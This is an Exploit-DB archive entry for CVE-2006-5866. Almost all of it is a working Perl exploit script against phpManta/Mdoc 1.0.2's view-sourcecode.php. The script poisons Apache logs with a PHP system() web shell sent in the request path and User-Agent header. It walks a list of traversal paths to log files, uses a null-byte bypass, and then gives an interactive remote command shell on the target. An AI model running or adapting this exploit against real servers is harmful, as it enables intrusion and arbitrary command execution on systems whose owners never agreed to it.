phpManta <= 1.0.2 view-sourcecode.php Local File Include Exploit

2006-11-09T00:00:00
ID EDB-ID:2748
Type exploitdb
Reporter ajann
Modified 2006-11-09T00:00:00

Description

phpManta <= 1.0.2 (view-sourcecode.php) Local File Include Exploit. CVE-2006-5866. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
#[Script Name: phpManta - Mdoc &lt;= 1.0.2 (view-sourcecode.php) Local File Include Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
use IO::Socket;
use LWP::Simple;
@apache=(
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../.. /../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);
if (@ARGV &lt; 3){
print "
[========================================================================
[//  phpManta - Mdoc &lt;= 1.0.2 (view-sourcecode.php) Local File Include Exploit
[//           Usage: manta.pl [target] [path] [apachepath]
[//                   Example: manta.pl victim.com /manta/ ../logs/error.log
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}

$host=$ARGV[0];
$path=$ARGV[1];
$apachepath=$ARGV[2];

print "Injecting code in log files...\n";
$CODE="&lt;?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?&gt;";
$socket = IO::Socket::INET-&gt;new(Proto=&gt;"tcp", PeerAddr=&gt;"$host", PeerPort=&gt;"80") or die "Connect Failed.\n\n";
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
print $socket "User-Agent: ".$CODE."\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "Write END to exit!\n";
print "IF not working try another apache path\n\n";

print "[shell] ";$cmd = &lt;STDIN&gt;;

while($cmd !~ "END") {
    $socket = IO::Socket::INET-&gt;new(Proto=&gt;"tcp", PeerAddr=&gt;"$host", PeerPort=&gt;"80") or die "Connect Failed.\n\n";
    print $socket "GET ".$path."Mdoc/view-sourcecode.php?file=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = &lt;$socket&gt;)
    {
        print $raspuns;
    }

    print "[shell] ";
    $cmd = &lt;STDIN&gt;;
}

# milw0rm.com [2006-11-09]